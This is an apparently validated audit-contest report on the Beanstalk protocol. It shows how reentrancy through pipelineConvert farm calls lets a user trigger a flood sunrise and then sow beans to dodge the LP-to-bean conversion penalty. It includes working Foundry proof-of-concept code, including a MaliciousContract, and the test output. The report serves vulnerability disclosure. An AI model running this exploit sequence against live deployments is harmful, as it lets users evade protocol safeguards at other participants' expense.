DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: medium
Valid

Bypassing the penalty during converting in direction of unpegging

Summary

Converting LP to bean during the conditions price > 1 and pod rate < %5 leads to penalty. But, by exploiting the lack of reentrancy guard it is possible to bypass the penalty.

Vulnerability Details

Suppose the following conditions:

  • the BeanEth well has positive deltaB

  • price > 1

  • pod rate < %5
    So, it is expected that converting LP to bean would result in penalty.

An attacker can skip the penalty of converting LP to bean by using the following steps:

  • Suppose the attacker has deposited some LP in season 2.

  • Now we are in season 4 that is raining.

  • P > 1, and podRate < 5%, so there will be a flood in season 5.

  • In season 4, the attacker would like to convert LP to bean without paying the penalty.

  • The attacker at the end of season 4 (i.e. 1 hour is so far elapsed from season 4, so it is possibe to step into the season 5), calls pipelineConvert to convert LP to bean.

  • The passed parameter advancedFarmCalls calls a series of function (encoded by the attacker) during the convert. In other words, first the input token (LP) will be withdrawn, then these series of functions will be invoked to do the conversion and well interaction, then output token (bean) is deposited. These series of functions are as follows in order:

    1. calls sunrise to step into the season 5. Since season 4 is rainy, and the conditions (P > 1, and podRate < %5) are met there will be a flood in season 5. So, the protocol will mint some beans and distribute them to the BeanEth well. Note that the function advancedPipe in the contract DepotFacet which is called during handling these series of function calls has modifier noSupplyIncrease (i.e. it is not allowed to mint beans), but sunrise a season that there is flood results in minting of beans. It is explained in the following steps how this limitation is bypassed.

    2. calls removeLiquidityOneToken in the well to burn LP and receive bean tokens.

    3. calls run in the contract MaliciousContract where it sows some beans equal to the newly minted beans in the protocol. By sowing these beans, they will be burned and the total supply of beans will reduce to the initial value before converting. So, by sowing beans (equal to the newly minted beans) the limitation of noSupplyIncrease is bypassed. It is assumed that this contract is already holding some beans at least equal to the newly minted beans in the protocol.

  • Note that since deltaB in the well is positive, burning LP to remove bean from the well increases the deltaB, so it leads to penalty. But, due to the flood, some beans will be minted into this well, decreasing the deltaB. Then, when the attacker burns LP to remove bean from this well, the deltaB of this well still is in a state better than before. So, here no penalty will be applied to the attacker, because the protocol calculates the penalty based on the start/finish deltaB of the pool, and since the deltaB was not increased, the protocol perceives this conversion as a conversion in the direction of pegging. But, in reality, this is the protocol that is decreasing deltaB, not the attacker. Specifically, the attacker is moving the deltaB in the direction of unpegging, but due to the newly minted beans thanks to the flood, the overall deltaB is in the direction of pegging, so no penalty is applied.

  • When the convert function is finished, the state is as follows:

    • attacker could convert LP to bean without paying penalty

    • attacker has some pods due to sowing beans in the field

    • total supply of beans is not changed (the same amount of the beans minted during the flood and incentivization of calling sunrise is sowed in the field and burned)

    • pod rate is increased due to the sowing function

function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
//......
uint256 grownStalk;
(grownStalk, fromBdv) = LibConvert._withdrawTokens(inputToken, stems, amounts, fromAmount);
(toAmount, grownStalk, toBdv) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
toStem = LibConvert._depositTokensForConvert(outputToken, toAmount, toBdv, grownStalk);
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L62

function executePipelineConvert(
address inputToken,
address outputToken,
uint256 fromAmount,
uint256 fromBdv,
uint256 initialGrownStalk,
AdvancedFarmCall[] calldata advancedFarmCalls
) external returns (uint256 toAmount, uint256 newGrownStalk, uint256 newBdv) {
//.....
executeAdvancedFarmCalls(advancedFarmCalls);
//......
pipeData.stalkPenaltyBdv = prepareStalkPenaltyCalculation(
inputToken,
outputToken,
pipeData.deltaB,
pipeData.overallConvertCapacity,
fromBdv,
pipeData.initialLpSupply
);
//......
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibPipelineConvert.sol#L37

Test Case

In the following foundry test, by calling the helper function setDeltaBforWell, the state of the well is set so that it applies penalty when converting LP to beans. The attacker deposited 600e6 in season 2. Then two seasons are passed. Then, the contract MaliciousContract is deployed, and it is assumed that this contract is holding 1000e6 beans. Then the function initialize in this contract is called, where it records the current total supply of beans.

Then, the helper function setSoilE is called to mint 1000e6 soil for the protocol. Then the farm calls are created in order of:

  • sunrise

  • removeLiquidityOneToken

  • run

Then, the helper function rainSunrise is called where it mimics the start of the rainy season 4. Then, the function pipelineConvert is called (in real case it should be called at the end of season 4 where it allows to step into season 5, but to simplify, timing is not taken into consideration in this test case).

It shows that before converting the season number was 4, but after converting execution the season is 5. It means the sunrise is successfully called during the convert, and the limitation noSupplyIncrease is bypassed. Moreover, it shows that the total pods before convert was equal to 0, while after the convert it is increased to 317354586.

To show that no penalty is applied, the console.log is used in the function executePipelineConvert to show the value of pipeData.stalkPenaltyBdv which is equal to zero.

Moreover, the grown stalks associated with beanEthWell before the converting is equal to 7088444616, while the grown stalks associated with bean after the converting is equal to 7088444569. The difference is 47 which is related to the rounding issue explained in other report completely.

function testConvertLPToBeanWithoutPenalty() public {
uint256 amount = 600e6;
// set the deltaB for the well to result in penalty when converting LP to bean
setDeltaBforWell(int256(amount), beanEthWell, C.WETH);
SeasonGettersFacet seasonGetters = SeasonGettersFacet(BEANSTALK);
(int96 stem, uint256 lpAmountOut) = depositLPAndPassGermination(amount, beanEthWell);
// Create arrays for stem and amount.
int96[] memory stems = new int96[](1);
stems[0] = stem;
// deploy the malicious contract
// 1000e6 beans are minted to this contract to simulate a situation that this contract holds some beans already
// the function initialize() records the current supply of bean in the contract, it is used later
MaliciousContract maliciousContract = new MaliciousContract(BEANSTALK, C.BEAN);
bean.mint(address(maliciousContract), 1_000e6);
maliciousContract.initialize();
// mint some soil, that allows to sow beans later
season.setSoilE(1_000e6);
uint256 fieldId = mockFBeanstalk.activeField();
console.log("totalPods before convert: ", mockFBeanstalk.totalPods(fieldId));
AdvancedFarmCall[] memory beanToLPFarmCalls = createLPToBeanFarmCallsMalicious(lpAmountOut, maliciousContract);
uint256[] memory amounts = new uint256[](1);
amounts[0] = lpAmountOut;
// rain in season 4
season.rainSunrise();
console.log("current season before convert: ", bs.season());
console.log("this season is raining: ", seasonGetters.time().raining);
console.log(
"attacker's grownstalk of beanEthWell before convert: ",
bs.grownStalkForDeposit(users[1], beanEthWell, stem)
);
vm.prank(users[1]); // do this as user 1
(int96 toStem,,,,) = convert.pipelineConvert(
beanEthWell, // input token
stems, // stems
amounts, // amount
C.BEAN, // token out
beanToLPFarmCalls // farmData
);
console.log("current season after convert: ", bs.season());
console.log("totalPods after convert: ", mockFBeanstalk.totalPods(fieldId));
console.log(
"attacker's grownstalk of bean after convert: ",
bs.grownStalkForDeposit(users[1], C.BEAN, toStem)
);
}
function createLPToBeanFarmCallsMalicious(
uint256 amountOfLP,
MaliciousContract maliciousContract
) private view returns (AdvancedFarmCall[] memory output) {
// encode sunrise
// to mimic a season that rains, the hlper function rainSunrise is encoded
bytes memory rainSunriseEncoded = abi.encodeWithSignature(
"rainSunrise()"
);
// encode remove liqudity.
bytes memory removeLiquidityEncoded = abi.encodeWithSelector(
IWell.removeLiquidityOneToken.selector,
amountOfLP, // tokenAmountsIn
C.BEAN, // tokenOut
0, // min out
C.PIPELINE, // recipient
type(uint256).max // deadline
);
// encode the function run in the MaliciousContract
bytes memory runEncoded = abi.encodeWithSignature(
"run()"
);
// Fabricate advancePipes:
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](3);
// Action 0: Sunrise into season 5 where flood happens.
advancedPipeCalls[0] = AdvancedPipeCall(
address(season), // target
rainSunriseEncoded, // calldata
abi.encode(0) // clipboard
);
// Action 1: Remove One sided Liquidity from the well.
advancedPipeCalls[1] = AdvancedPipeCall(
beanEthWell, // target
removeLiquidityEncoded, // calldata
abi.encode(0) // clipboard
);
// Action 2: Executed the function run in the MaliciousContract.
advancedPipeCalls[2] = AdvancedPipeCall(
address(maliciousContract), // target
runEncoded, // calldata
abi.encode(0) // clipboard
);
// Encode into a AdvancedFarmCall. NOTE: advancedFarmCall != advancedPipeCall.
// AdvancedFarmCall calls any function on the beanstalk diamond.
// advancedPipe is one of the functions that its calling.
// AdvancedFarmCall cannot call approve/addLiquidity, but can call AdvancedPipe.
// AdvancedPipe can call any arbitrary function.
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}
/*
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.20;
import {TestHelper, C} from "test/foundry/utils/TestHelper.sol";
import "hardhat/console.sol";
interface IBeanstalk {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
function sowWithMin(
uint256 beans,
uint256 minTemperature,
uint256 minSoil,
From mode
) external payable returns (uint256 pods);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
contract MaliciousContract is TestHelper {
IBeanstalk iBeanstalk;
address bean;
uint initialSupply;
constructor(
address _addressBeanstalk,
address _bean
) {
iBeanstalk = IBeanstalk(_addressBeanstalk);
bean = _bean;
}
function initialize() public {
// records the total supply of bean before the convert
initialSupply = IERC20(bean).totalSupply();
}
function run() public {
// allow the protocol to burn beans from this contract
IERC20(bean).approve(address(iBeanstalk), type(uint256).max);
// records the total supply of bean after sunrise
// after surise, there is a flood, so total supply of bean increases
uint256 currentSupply = IERC20(bean).totalSupply();
// diffTotalSupply is the amount of beans newly minted during convert
// diffTotalSupply includes two factors
// First: the amount of beans minted due to the flood
// Second: the amount of beans minted as incetive to the caller of sunrise
uint256 diffTotalSupply = currentSupply - initialSupply;
// during convert it is not possible to mints new beans
// because the function advancedPipe in the contract DepotFacet has the modifier noSupplyIncrease
// to bypass this limitation, the same amount of newly minted beans are sowed in the protocol, where they are burned
// so the total supply of beans does not change, and some pods are minted
// this amount of beans sowed in the protocol are coming from the initial beans holded by this contract
// it is assumed that this contract was holding 1000e6 beans before
iBeanstalk.sowWithMin(diffTotalSupply, 0, 0, IBeanstalk.From.EXTERNAL);
}
}

The output is:

totalPods before convert: 0
current season before convert: 4
this season is raining: true
attacker's grownstalk of beanEthWell before convert: 7088444616
stalkPenaltyBdv: 0
current season after convert: 5
totalPods after convert: 317354586
attacker's grownstalk of bean after convert: 7088444569

Impact

  • skipping the penalty for converting LP to bean during the condtions P > 1 and podRate < %5

  • acting in the direction of unpeggin without paying penalty

Tools Used

Recommendations

It is recommended to use nonReentrant modifier for the function sowWithMin.

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

advanced pipe reentrancy, sunsrise & sow

Appeal created

fyamf Submitter
12 months ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

advanced pipe reentrancy, sunsrise & sow

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.